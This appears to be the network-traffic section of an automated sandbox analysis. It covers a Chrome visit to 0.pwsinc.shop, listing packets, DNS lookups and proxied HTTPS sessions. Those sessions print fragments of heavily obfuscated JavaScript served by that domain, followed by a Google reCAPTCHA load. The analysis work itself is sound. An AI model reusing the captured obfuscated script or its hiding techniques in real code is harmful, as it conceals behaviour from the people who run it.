Oct 1, 2024 15:37:33.804465055 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.804514885 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.804522038 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.804728985 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.810462952 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.816818953 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.816865921 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.816874981 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.816880941 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.816924095 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.823226929 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.838264942 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:33.838335991 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.838437080 CEST	49777	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:33.838450909 CEST	443	49777	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:57.675060987 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:57.675086975 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:38:13.310548067 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:38:13.310650110 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:38:13.310712099 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:38:14.973875999 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:14.973926067 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:14.974001884 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:14.974457026 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:14.974473953 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:15.606898069 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:15.607238054 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:15.607249975 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:15.607582092 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:15.607908964 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:15.607970953 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:15.659183025 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:16.440414906 CEST	49724	80	192.168.2.4	199.232.214.172
Oct 1, 2024 15:38:16.445657015 CEST	80	49724	199.232.214.172	192.168.2.4
Oct 1, 2024 15:38:16.445848942 CEST	49724	80	192.168.2.4	199.232.214.172
Oct 1, 2024 15:38:25.513501883 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:25.513570070 CEST	443	49780	142.250.185.132	192.168.2.4
Oct 1, 2024 15:38:25.513725996 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:27.305620909 CEST	49780	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:38:27.305654049 CEST	443	49780	142.250.185.132	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 15:37:11.208323956 CEST	53	50718	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:11.230665922 CEST	53	55939	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:12.026271105 CEST	50691	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:12.026779890 CEST	50984	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:12.039195061 CEST	53	50691	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:12.039356947 CEST	53	50984	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:12.184046030 CEST	53	56502	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:13.855671883 CEST	53860	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:13.856303930 CEST	57250	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:13.863230944 CEST	53	57250	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:13.863404036 CEST	53	53860	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:14.927926064 CEST	53532	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:14.928303957 CEST	62829	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:14.935317039 CEST	53	62829	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:14.936414003 CEST	53	53532	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:16.114315033 CEST	65169	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:16.114794016 CEST	52301	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:16.242067099 CEST	53	65169	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:16.242554903 CEST	53	52301	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:17.349174023 CEST	65172	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:17.349729061 CEST	56063	53	192.168.2.4	1.1.1.1
Oct 1, 2024 15:37:17.356304884 CEST	53	65172	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:17.356389046 CEST	53	56063	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:17.380312920 CEST	53	53432	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:27.873747110 CEST	138	138	192.168.2.4	192.168.2.255
Oct 1, 2024 15:37:29.451455116 CEST	53	53491	1.1.1.1	192.168.2.4
Oct 1, 2024 15:37:48.100168943 CEST	53	61517	1.1.1.1	192.168.2.4
Oct 1, 2024 15:38:10.543895006 CEST	53	60364	1.1.1.1	192.168.2.4
Oct 1, 2024 15:38:11.221577883 CEST	53	52922	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 1, 2024 15:37:12.026271105 CEST	192.168.2.4	1.1.1.1	0xb304	Standard query (0)	0.pwsinc.shop	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:12.026779890 CEST	192.168.2.4	1.1.1.1	0x69d5	Standard query (0)	0.pwsinc.shop	65	IN (0x0001)	false
Oct 1, 2024 15:37:13.855671883 CEST	192.168.2.4	1.1.1.1	0xfbd0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:13.856303930 CEST	192.168.2.4	1.1.1.1	0x769f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 1, 2024 15:37:14.927926064 CEST	192.168.2.4	1.1.1.1	0x5aaa	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:14.928303957 CEST	192.168.2.4	1.1.1.1	0x6192	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 1, 2024 15:37:16.114315033 CEST	192.168.2.4	1.1.1.1	0xca2a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:16.114794016 CEST	192.168.2.4	1.1.1.1	0x4471	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 1, 2024 15:37:17.349174023 CEST	192.168.2.4	1.1.1.1	0x57e2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:17.349729061 CEST	192.168.2.4	1.1.1.1	0xc0c5	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 1, 2024 15:37:12.039195061 CEST	1.1.1.1	192.168.2.4	0xb304	No error (0)	0.pwsinc.shop		172.105.17.244	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:13.863230944 CEST	1.1.1.1	192.168.2.4	0x769f	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 1, 2024 15:37:13.863404036 CEST	1.1.1.1	192.168.2.4	0xfbd0	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:14.935317039 CEST	1.1.1.1	192.168.2.4	0x6192	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 1, 2024 15:37:14.936414003 CEST	1.1.1.1	192.168.2.4	0x5aaa	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:16.242067099 CEST	1.1.1.1	192.168.2.4	0xca2a	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:16.242554903 CEST	1.1.1.1	192.168.2.4	0x4471	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 1, 2024 15:37:17.356304884 CEST	1.1.1.1	192.168.2.4	0x57e2	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:17.356389046 CEST	1.1.1.1	192.168.2.4	0xc0c5	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 1, 2024 15:37:25.093581915 CEST	1.1.1.1	192.168.2.4	0x5b3a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:25.093581915 CEST	1.1.1.1	192.168.2.4	0x5b3a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:27.042117119 CEST	1.1.1.1	192.168.2.4	0xef4	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:37:27.042117119 CEST	1.1.1.1	192.168.2.4	0xef4	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:37:44.465400934 CEST	1.1.1.1	192.168.2.4	0x6199	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:37:44.465400934 CEST	1.1.1.1	192.168.2.4	0x6199	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:38:03.200414896 CEST	1.1.1.1	192.168.2.4	0x9cbd	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:38:03.200414896 CEST	1.1.1.1	192.168.2.4	0x9cbd	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 1, 2024 15:38:23.650909901 CEST	1.1.1.1	192.168.2.4	0xcf24	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 15:38:23.650909901 CEST	1.1.1.1	192.168.2.4	0xcf24	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

0.pwsinc.shop

https:

www.google.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.105.17.244	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:12 UTC	665	OUT	GET /?MKPT=Inc HTTP/1.1 Host: 0.pwsinc.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:13 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 01 Oct 2024 13:37:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-10-01 13:37:13 UTC	16203	IN	Data Raw: 37 37 66 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 30 63 35 28 63 2c 74 29 7b 76 61 72 20 50 3d 61 30 63 34 28 29 3b 72 65 74 75 72 6e 20 61 30 63 35 3d 66 75 6e 63 74 69 6f 6e 28 4b 2c 6a 29 7b 4b 3d 4b 2d 30 78 31 65 62 3b 76 61 72 20 5a 3d 50 5b 4b 5d 3b 72 65 74 75 72 6e 20 5a 3b 7d 2c 61 30 63 35 28 63 2c 74 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 30 63 34 28 29 7b 76 61 72 20 75 4b 3d 5b 27 62 69 6e 64 27 2c 27 42 61 74 61 6e 67 27 2c 27 6c 72 73 48 57 27 2c 27 75 74 4a 56 63 27 2c 27 6d 48 6d 6c 64 27 2c 27 6e 6f 6e 57 72 Data Ascii: 77f5<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> function a0c5(c,t){var P=a0c4();return a0c5=function(K,j){K=K-0x1eb;var Z=P[K];return Z;},a0c5(c,t);}function a0c4(){var uK=['bind','Batang','lrsHW','utJVc','mHmld','nonWr
2024-10-01 13:37:13 UTC	14514	IN	Data Raw: 28 30 78 34 61 33 29 5d 3a 30 78 31 29 3b 7d 3b 7d 2c 30 78 31 37 38 35 3a 66 75 6e 63 74 69 6f 6e 28 50 77 2c 50 56 2c 50 75 29 7b 76 61 72 20 6a 33 3d 61 30 63 35 2c 50 4d 3d 50 75 28 30 78 31 32 63 66 29 2c 50 55 3d 54 79 70 65 45 72 72 6f 72 3b 50 77 5b 6a 33 28 30 78 33 35 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 50 61 2c 50 44 29 7b 76 61 72 20 6a 34 3d 6a 33 3b 69 66 28 50 4d 28 50 44 2c 50 61 29 29 72 65 74 75 72 6e 20 50 61 3b 74 68 72 6f 77 20 6e 65 77 20 50 55 28 6a 34 28 30 78 32 66 61 29 29 3b 7d 3b 7d 2c 30 78 38 66 35 3a 66 75 6e 63 74 69 6f 6e 28 50 77 2c 50 56 2c 50 75 29 7b 76 61 72 20 6a 35 3d 61 30 63 35 2c 50 4d 3d 50 75 28 30 78 36 61 38 29 2c 50 55 3d 53 74 72 69 6e 67 2c 50 61 3d 54 79 70 65 45 72 72 6f 72 3b 50 77 5b 6a 35 28 30 78 Data Ascii: (0x4a3)]:0x1);};},0x1785:function(Pw,PV,Pu){var j3=a0c5,PM=Pu(0x12cf),PU=TypeError;Pw[j3(0x354)]=function(Pa,PD){var j4=j3;if(PM(PD,Pa))return Pa;throw new PU(j4(0x2fa));};},0x8f5:function(Pw,PV,Pu){var j5=a0c5,PM=Pu(0x6a8),PU=String,Pa=TypeError;Pw[j5(0x
2024-10-01 13:37:13 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 30 78 33 35 34 29 5d 3d 50 4d 3f 50 55 5b 27 62 69 6e 64 27 5d 28 50 55 29 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5a 74 3d 5a 63 3b 72 65 74 75 72 6e 20 50 55 5b 5a 74 28 30 78 35 33 65 29 5d 28 50 55 2c 61 72 67 75 6d 65 6e 74 73 29 3b 7d 3b 7d 2c 30 78 38 30 30 3a 66 75 6e 63 74 69 6f 6e 28 50 77 2c 50 56 2c 50 75 29 7b 76 61 72 20 5a 50 3d 61 30 63 35 2c 50 4d 3d 50 75 28 30 78 31 37 65 29 2c 50 55 3d 50 75 28 30 78 31 36 37 62 29 2c 50 61 3d 46 75 6e 63 74 69 6f 6e 5b 5a 50 28 30 78 34 63 35 29 5d 2c 50 44 3d 50 4d 26 26 4f 62 6a 65 63 74 5b 27 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 27 5d 2c 50 47 3d 50 55 28 50 61 2c 5a 50 28 30 78 33 38 32 29 29 2c 50 64 3d 50 47 26 26 5a 50 28 30 78 34 61 Data Ascii: 40000x354)]=PM?PU['bind'](PU):function(){var Zt=Zc;return PU[Zt(0x53e)](PU,arguments);};},0x800:function(Pw,PV,Pu){var ZP=a0c5,PM=Pu(0x17e),PU=Pu(0x167b),Pa=Function[ZP(0x4c5)],PD=PM&&Object['getOwnPropertyDescriptor'],PG=PU(Pa,ZP(0x382)),Pd=PG&&ZP(0x4a
2024-10-01 13:37:13 UTC	8	IN	Data Raw: 35 62 36 29 5d 28 0d 0a Data Ascii: 5b6)](
2024-10-01 13:37:13 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 50 61 2c 7b 27 63 68 61 72 61 63 74 65 72 44 61 74 61 27 3a 21 30 78 30 7d 29 2c 50 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 50 61 5b 27 64 61 74 61 27 5d 3d 50 55 3d 21 50 55 3b 7d 29 2c 50 70 3d 66 75 6e 63 74 69 6f 6e 28 50 73 29 7b 76 61 72 20 72 47 3d 72 55 3b 72 47 28 30 78 34 64 64 29 21 3d 3d 27 43 5a 48 74 43 27 3f 28 50 57 5b 72 47 28 30 78 32 30 64 29 5d 7c 7c 50 4d 28 29 2c 50 57 5b 72 47 28 30 78 35 61 33 29 5d 28 50 73 29 29 3a 50 73 5b 27 65 78 70 6f 72 74 73 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 50 69 2c 50 4a 29 7b 72 65 74 75 72 6e 7b 27 76 61 6c 75 65 27 3a 50 69 2c 27 64 6f 6e 65 27 3a 50 4a 7d 3b 7d 3b 7d 3b 7d 50 77 5b 72 55 28 30 78 33 35 34 29 5d 3d 50 70 3b 7d 2c 30 78 34 39 35 3a 66 75 6e 63 74 69 6f 6e 28 50 77 2c Data Ascii: 4000Pa,{'characterData':!0x0}),PM=function(){Pa['data']=PU=!PU;}),Pp=function(Ps){var rG=rU;rG(0x4dd)!=='CZHtC'?(PW[rG(0x20d)]\|\|PM(),PW[rG(0x5a3)](Ps)):Ps['exports']=function(Pi,PJ){return{'value':Pi,'done':PJ};};};}Pw[rU(0x354)]=Pp;},0x495:function(Pw,
2024-10-01 13:37:13 UTC	8	IN	Data Raw: 63 46 3b 50 41 5b 0d 0a Data Ascii: cF;PA[
2024-10-01 13:37:13 UTC	16384	IN	Data Raw: 38 30 30 30 0d 0a 42 6d 28 30 78 33 35 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 50 4f 2c 50 52 29 7b 76 61 72 20 42 46 3d 42 6d 2c 50 7a 3d 61 72 67 75 6d 65 6e 74 73 5b 42 46 28 30 78 34 61 33 29 5d 3c 30 78 32 3f 50 6e 28 50 4f 29 3a 50 52 3b 69 66 28 50 44 28 50 7a 29 29 72 65 74 75 72 6e 20 50 47 28 50 61 28 50 7a 2c 50 4f 29 29 3b 74 68 72 6f 77 20 6e 65 77 20 50 41 28 50 64 28 50 4f 29 2b 42 46 28 30 78 32 35 63 29 29 3b 7d 3b 7d 7d 2c 30 78 31 65 33 3a 66 75 6e 63 74 69 6f 6e 28 50 77 2c 50 56 2c 50 75 29 7b 76 61 72 20 42 59 3d 61 30 63 35 2c 50 4d 3d 50 75 28 30 78 38 66 35 29 2c 50 55 3d 50 75 28 30 78 39 34 36 29 2c 50 61 3d 50 75 28 30 78 31 37 35 66 29 2c 50 44 3d 50 75 28 30 78 31 29 28 27 73 70 65 63 69 65 73 27 29 3b 50 77 5b 42 59 28 30 78 Data Ascii: 8000Bm(0x354)]=function(PO,PR){var BF=Bm,Pz=arguments[BF(0x4a3)]<0x2?Pn(PO):PR;if(PD(Pz))return PG(Pa(Pz,PO));throw new PA(Pd(PO)+BF(0x25c));};}},0x1e3:function(Pw,PV,Pu){var BY=a0c5,PM=Pu(0x8f5),PU=Pu(0x946),Pa=Pu(0x175f),PD=Pu(0x1)('species');Pw[BY(0x
2024-10-01 13:37:13 UTC	16384	IN	Data Raw: 2b 50 59 28 50 6d 28 50 54 2c 30 78 30 29 2c 30 78 31 30 29 3a 50 54 3b 7d 3b 50 67 26 26 50 4d 28 7b 27 74 61 72 67 65 74 27 3a 27 4a 53 4f 4e 27 2c 27 73 74 61 74 27 3a 21 30 78 30 2c 27 61 72 69 74 79 27 3a 30 78 33 2c 27 66 6f 72 63 65 64 27 3a 50 73 7c 7c 50 51 7d 2c 7b 27 73 74 72 69 6e 67 69 66 79 27 3a 66 75 6e 63 74 69 6f 6e 28 50 54 2c 50 68 2c 50 71 29 7b 76 61 72 20 58 45 3d 58 53 2c 50 53 3d 50 4f 28 61 72 67 75 6d 65 6e 74 73 29 2c 50 62 3d 50 61 28 50 73 3f 50 69 3a 50 67 2c 6e 75 6c 6c 2c 50 53 29 3b 72 65 74 75 72 6e 20 50 51 26 26 58 45 28 30 78 33 39 61 29 3d 3d 74 79 70 65 6f 66 20 50 62 3f 50 46 28 50 62 2c 50 70 2c 50 4a 29 3a 50 62 3b 7d 7d 29 3b 7d 2c 30 78 32 35 65 32 3a 66 75 6e 63 74 69 6f 6e 28 50 77 2c 50 56 2c 50 75 29 7b 76 Data Ascii: +PY(Pm(PT,0x0),0x10):PT;};Pg&&PM({'target':'JSON','stat':!0x0,'arity':0x3,'forced':Ps\|\|PQ},{'stringify':function(PT,Ph,Pq){var XE=XS,PS=PO(arguments),Pb=Pa(Ps?Pi:Pg,null,PS);return PQ&&XE(0x39a)==typeof Pb?PF(Pb,Pp,PJ):Pb;}});},0x25e2:function(Pw,PV,Pu){v
2024-10-01 13:37:13 UTC	8	IN	Data Raw: 29 7c 7c 50 4f 28 0d 0a Data Ascii: )\|\|PO(
2024-10-01 13:37:13 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 74 68 69 73 2c 50 6c 29 26 26 74 68 69 73 5b 50 6c 5d 5b 4b 6e 5d 29 7c 7c 4b 41 29 3b 7d 2c 4b 61 3d 66 75 6e 63 74 69 6f 6e 28 4b 64 2c 4b 6e 29 7b 76 61 72 20 65 53 3d 65 69 2c 4b 41 3d 50 4c 28 4b 64 29 2c 4b 4f 3d 50 67 28 4b 6e 29 3b 69 66 28 4b 41 21 3d 3d 4b 34 7c 7c 21 50 4f 28 4b 72 2c 4b 4f 29 7c 7c 50 4f 28 4b 42 2c 4b 4f 29 29 7b 76 61 72 20 4b 52 3d 4b 63 28 4b 41 2c 4b 4f 29 3b 72 65 74 75 72 6e 21 4b 52 7c 7c 21 50 4f 28 4b 72 2c 4b 4f 29 7c 7c 50 4f 28 4b 41 2c 50 6c 29 26 26 4b 41 5b 50 6c 5d 5b 4b 4f 5d 7c 7c 28 4b 52 5b 65 53 28 30 78 32 37 31 29 5d 3d 21 30 78 30 29 2c 4b 52 3b 7d 7d 2c 4b 44 3d 66 75 6e 63 74 69 6f 6e 28 4b 64 29 7b 76 61 72 20 4b 6e 3d 4b 4b 28 50 4c 28 4b 64 29 29 2c 4b 41 3d 5b 5d 3b 72 65 74 75 Data Ascii: 4000this,Pl)&&this[Pl][Kn])\|\|KA);},Ka=function(Kd,Kn){var eS=ei,KA=PL(Kd),KO=Pg(Kn);if(KA!==K4\|\|!PO(Kr,KO)\|\|PO(KB,KO)){var KR=Kc(KA,KO);return!KR\|\|!PO(Kr,KO)\|\|PO(KA,Pl)&&KA[Pl][KO]\|\|(KR[eS(0x271)]=!0x0),KR;}},KD=function(Kd){var Kn=KK(PL(Kd)),KA=[];retu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	172.217.18.100	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:14 UTC	624	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://0.pwsinc.shop/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:15 UTC	749	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Tue, 01 Oct 2024 13:37:15 GMT Date: Tue, 01 Oct 2024 13:37:15 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:15 UTC	641	IN	Data Raw: 35 39 61 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 59a/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-10-01 13:37:15 UTC	800	IN	Data Raw: 41 41 43 51 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 64 76 62 32 64 73 5a 53 35 6a 62 32 30 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 7a 49 69 4c 43 4a 6c 65 48 42 70 63 6e 6b 69 4f 6a 45 33 4e 44 49 7a 4e 44 49 7a 4f 54 6b 73 49 6d 6c 7a 55 33 56 69 5a 47 39 74 59 57 6c 75 49 6a 70 30 63 6e 56 6c 4c 43 4a 70 63 31 52 6f 61 58 4a 6b 55 47 46 79 64 48 6b 69 4f 6e 52 79 64 57 56 39 27 3b 69 66 28 76 26 26 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 29 7b 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e Data Ascii: AACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.
2024-10-01 13:37:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

